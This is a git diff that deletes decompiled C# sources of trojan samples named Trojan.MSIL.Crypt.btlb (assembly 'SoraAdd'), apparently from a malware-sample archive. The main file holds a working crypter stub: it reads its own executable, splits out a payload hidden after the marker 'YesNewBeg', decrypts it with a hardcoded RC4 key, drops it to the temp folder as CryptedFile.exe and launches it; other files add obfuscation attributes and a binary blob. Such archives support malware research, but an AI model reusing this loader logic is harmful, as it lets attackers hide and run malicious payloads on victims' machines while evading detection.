C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using \u0002; -using System; - -namespace \u0002 -{ - internal sealed class \u0003 - { - public static void \u0003() - { - try - { - \u0001.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0004.cs deleted file mode 100644 index 1a3cc021..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0002/_0004.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using System; - -namespace \u0002 -{ - internal sealed class \u0004 : Attribute - { - public \u0004(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0003/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0003/_0001.cs deleted file mode 100644 index 58f33492..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0003/_0001.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace \u0003 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0001 : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void \u0003(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - \u0003.\u0003.Application.Run(Args); - } - - [DebuggerStepThrough] - public \u0001() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) \u0003.\u0003.Forms.Form1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0003/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0003/_0002.cs deleted file mode 100644 index fb4e05a1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0003/_0002.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace \u0003 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0002 : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0003/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0003/_0003.cs deleted file mode 100644 index b3bc33ce..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0003/_0003.cs +++ /dev/null @@ -1,221 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using \u0003; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0003 -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class \u0003 - { - private static readonly \u0003.\u0003.\u0002<\u0002> \u0001 = new \u0003.\u0003.\u0002<\u0002>(); - private static readonly \u0003.\u0003.\u0002<\u0001> \u0002 = new \u0003.\u0003.\u0002<\u0001>(); - private static readonly \u0003.\u0003.\u0002 \u0003 = new \u0003.\u0003.\u0002(); - private static \u0003.\u0003.\u0002<\u0003.\u0003.\u0004> \u0004 = new \u0003.\u0003.\u0002<\u0003.\u0003.\u0004>(); - private static readonly \u0003.\u0003.\u0002<\u0003.\u0003.\u0001> \u0005 = new \u0003.\u0003.\u0002<\u0003.\u0003.\u0001>(); - - [DebuggerNonUserCode] - static \u0003() - { - } - - [HelpKeyword("My.Computer")] - internal static \u0002 Computer - { - [DebuggerHidden] get => \u0003.\u0003.\u0001.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static \u0001 Application - { - [DebuggerHidden] get => \u0003.\u0003.\u0002.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => \u0003.\u0003.\u0003.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static \u0003.\u0003.\u0004 Forms - { - [DebuggerHidden] get => \u0003.\u0003.\u0004.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static \u0003.\u0003.\u0001 WebServices - { - [DebuggerHidden] get => \u0003.\u0003.\u0005.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class \u0004 - { - public \u0004.\u0003 \u0001; - [ThreadStatic] - private static Hashtable \u0002; - - public \u0004.\u0003 Form1 - { - [DebuggerNonUserCode] get - { - this.\u0001 = \u0003.\u0003.\u0004.\u0003<\u0004.\u0003>(this.\u0001); - return this.\u0001; - } - [DebuggerNonUserCode] set - { - if (value == this.\u0001) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.\u0003<\u0004.\u0003>(ref this.\u0001); - } - } - - [DebuggerHidden] - private static T \u0003(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (\u0003.\u0003.\u0004.\u0002 != null) - { - if (\u0003.\u0003.\u0004.\u0002.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - goto label_10; -label_4: - \u0003.\u0003.\u0004.\u0002.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0003.\u0003.\u0004.\u0002.Remove((object) typeof (T)); - } -label_10: - \u0003.\u0003.\u0004.\u0002 = new Hashtable(); - goto label_4; - } - - [DebuggerHidden] - private void \u0003(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0004() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0003() => typeof (\u0003.\u0003.\u0004); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class \u0001 - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal System.Type \u0003() => typeof (\u0003.\u0003.\u0001); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T \u0003(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void \u0003(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) \u0003.\u0003.\u0002.\u0001 == null) - goto label_2; -label_1: - return \u0003.\u0003.\u0002.\u0001; -label_2: - \u0003.\u0003.\u0002.\u0001 = new T(); - goto label_1; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0004/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0004/_0003.cs deleted file mode 100644 index ac7a5bde..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0004/_0003.cs +++ /dev/null @@ -1,208 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using \u0004; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace \u0004 -{ - [DesignerGenerated] - internal sealed class \u0003 : Form - { - private IContainer \u0001; - private const string \u0002 = "YesNewBeg"; - - [DebuggerNonUserCode] - public \u0003() - { - \u0003 obj = this; - // ISSUE: virtual method pointer - this.Load += new EventHandler((object) obj, __vmethodptr(obj, \u0003)); - this.\u0003(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.\u0001 == null) - return; - this.\u0001.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void \u0003() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(292, 55); - this.Name = "Form1"; - this.Text = "Form1"; - this.ResumeLayout(false); - } - - private void \u0003(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num2 = -2; -label_1: - int num3 = 2; - string tempPath = Path.GetTempPath(); -label_2: - num3 = 3; - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); -label_3: - num3 = 4; - string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); -label_4: - num3 = 5; - FileSystem.FileGet(1, ref Expression); -label_5: - num3 = 6; - FileSystem.FileClose(1); -label_6: - num3 = 7; - string[] strArray = Strings.Split(Expression, "YesNewBeg"); -label_7: - num3 = 8; - string str = \u0003.\u0003(strArray[1], "AlrightThisWillDeverseTheEffects"); -label_8: - num3 = 9; - FileSystem.FileOpen(5, tempPath + "\\CryptedFile.exe", OpenMode.Binary, OpenAccess.ReadWrite); -label_9: - num3 = 10; - FileSystem.FilePut(5, str, -1L, false); -label_10: - num3 = 11; - FileSystem.FileClose(5); -label_11: - num3 = 12; - Process.Start(tempPath + "\\CryptedFile.exe"); -label_12: - num3 = 13; - this.Close(); - ProjectData.EndApp(); - goto label_19; -label_14: - num1 = num3; - switch (num2 > -2 ? num2 : 1) - { - case 1: - int num4 = num1 + 1; - num1 = 0; - switch (num4) - { - case 1: - goto label_0; - case 2: - goto label_1; - case 3: - goto label_2; - case 4: - goto label_3; - case 5: - goto label_4; - case 6: - goto label_5; - case 7: - goto label_6; - case 8: - goto label_7; - case 9: - goto label_8; - case 10: - goto label_9; - case 11: - goto label_10; - case 12: - goto label_11; - case 13: - goto label_12; - case 14: - goto label_19; - } - break; - } - } - catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0) - { - ProjectData.SetProjectError(ex); - goto label_14; - } - throw ProjectData.CreateProjectError(-2146828237); -label_19: - if (num1 == 0) - return; - ProjectData.ClearProjectError(); - } - - public static string \u0003(string message, string password) - { - int index1 = 0; - int index2 = 0; - StringBuilder stringBuilder = new StringBuilder(); - string empty = string.Empty; - int[] numArray1 = new int[257]; - int[] numArray2 = new int[257]; - int length = password.Length; - int location1 = 0; - while (location1 <= (int) byte.MaxValue) - { - char String = password.Substring(location1 % length, 1).ToCharArray()[0]; - numArray2[location1] = Strings.Asc(String); - numArray1[location1] = location1; - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - int index3 = 0; - int location2 = 0; - while (location2 <= (int) byte.MaxValue) - { - index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256; - int num = numArray1[location2]; - numArray1[location2] = numArray1[index3]; - numArray1[index3] = num; - Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1)); - } - location1 = 1; - while (location1 <= message.Length) - { - index1 = checked (index1 + 1) % 256; - index2 = checked (index2 + numArray1[index1]) % 256; - int num1 = numArray1[index1]; - numArray1[index1] = numArray1[index2]; - numArray1[index2] = num1; - int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; - int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2; - stringBuilder.Append(Strings.Chr(CharCode)); - Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1)); - } - string str = stringBuilder.ToString(); - stringBuilder.Length = 0; - return str; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0004/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0004/_0004.cs deleted file mode 100644 index e2969cd5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0004/_0004.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace \u0004 -{ - [DebuggerNonUserCode] - [CompilerGenerated] - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - internal sealed class \u0004 - { - private static ResourceManager \u0001; - private static CultureInfo \u0002; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) \u0004.\u0004.\u0001, (object) null)) - \u0004.\u0004.\u0001 = new ResourceManager("Soraadd.Resources", typeof (\u0004.\u0004).Assembly); - return \u0004.\u0004.\u0001; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => \u0004.\u0004.\u0002; - set => \u0004.\u0004.\u0002 = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0005/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0005/_0001.cs deleted file mode 100644 index 4908119f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_0005/_0001.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Soraadd.My; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace \u0005 -{ - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - [HideModuleName] - internal sealed class \u0001 - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_003CModule_003E.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_003CModule_003E.cs deleted file mode 100644 index ddb091f5..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/_003CModule_003E.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734.exe - -using \u0002; - -internal class \u003CModule\u003E -{ - static \u003CModule\u003E() - { - \u0003.\u0003(); - \u0001.\u0001.\u0003(); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/{3872a73d-48e1-4504-b393-a76428731afe} b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-1b8f01481c277ee1ffa1a83b960942f8991873ad40d3fd5046ffb9cbcdb5c734/{3872a73d-48e1-4504-b393-a76428731afe} deleted file mode 100644 index e61e286160257c8894027c5d670d70515f962895..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1012 zcmVZ;#0EpgV=|ivY?=MPV zsG*Wso}&j!_;8EVOsHx(Jj%tfNY_GPP;j0B?rrDcirR4xWk>Fdm|5|WscoG~dCk1F zFzOKm1BSw5XXBsyyDK#kwoXCZ#o%Qw@H`79Q^2P6z=Z;P2{d#9Sf|5*GYf)#p)98W zc6324yf))=+a3@>Af!I4I5V5&X^vGUN(+g90^xSx9jh8iuDNa~J4wRZoHm7K!dBGr zq);ervz8#Op=gCVfJ-d;MG{6QWhi9TT!ct*WnNZg2y`>^gkYXHpUoc!1fvRxtt##w z>F6`|k3$Iqxl2nlWE-|!q`o!IxBIh;lNftdT~{uyiCbTBKt^Tgz*d*Q3GUxDlt_!9 z=VaR4Ay4E$sSPqcQ|xH2shuAM;X0Zzv`OLNYfd^rJp8F!mscsV0*p4IV}3_uDa-=q zfWyk)8?+(135XQL1MM+Dld^BB-}O29-7?3826DnnO%ileWcp`;xZYU_`CnrMfEq_V zq2Sd-9#g-N{cK9V*ni}~iW6wj4}1;JXKQndyPvN)OA%c2I=;M1UsDqP#Su-(D>AFR z8<^wI@>9m11+IH4;k2TH$mmOfYLbDeYHtrAx?*z!FS8*TcII|pO!PVQK4ny%nEj;A z0`n2`n=BWFeTtf<3&F6}ukN)gS}2(%O^Wiq`7ga2VwHhyt0ngz4_GqGa#WRNBnkFG%(xRl@3`>uEt z`{MY>#1+gEX4GetfzIV5dEV5JO$jcI&Uo&DOJ!y}$dtfuHx2)Z52RiKQl|-2sTEE^ zfIa$`uq6~pakam<2a8Egkep@@FgPKmEXNpY==KR1U0apl!{(iEMwLGtR1=!Fof>lx z6<3v3(tR9Vu+HnP>*2XBFNbqia}-0(c+4lvT>E8YT4#^DK|U0P*tDj;v�{mM0y* zl`WM0G<<(5E!A-U!gU9ftjb)v0Pii9?xh+PwDU4Iae5V>yVwub z@Rw6l1@kpEoBDP!z92c(gv~+)DJ_ zIRICta9Y6=372`Dd}8Qa*)8orZJP4jqUt}0V7-lOz i7icSMRKoq6kz`t&g{e>CsYO&G)tSW#2RfKw=)(hH)aWY! diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/AssemblyInfo.cs deleted file mode 100644 index 4afd43e7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/AssemblyInfo.cs +++ /dev/null @@ -1,17 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: Guid("36537493-e85c-4d7e-96bc-32c472e96b4c")] -[assembly: ComVisible(false)] -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("")] -[assembly: SuppressIldasm] -[assembly: AssemblyCopyright("")] -[assembly: AssemblyFileVersion("3.0.0.0")] -[assembly: PoweredBy("Powered by {smartassembly}")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyVersion("3.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index a2047dc9..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/SmartAssembly/Attributes/PoweredByAttribute2.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/SmartAssembly/Attributes/PoweredByAttribute2.cs deleted file mode 100644 index 33e113d0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/SmartAssembly/Attributes/PoweredByAttribute2.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute2 -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute2 : Attribute - { - public PoweredByAttribute2(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/Soraadd/My/MySettings.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/Soraadd/My/MySettings.cs deleted file mode 100644 index 057cd1c1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/Soraadd/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Soraadd.My.MySettings -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using \u0005; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Soraadd.My -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings \u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool \u0002; - private static object \u0003 = 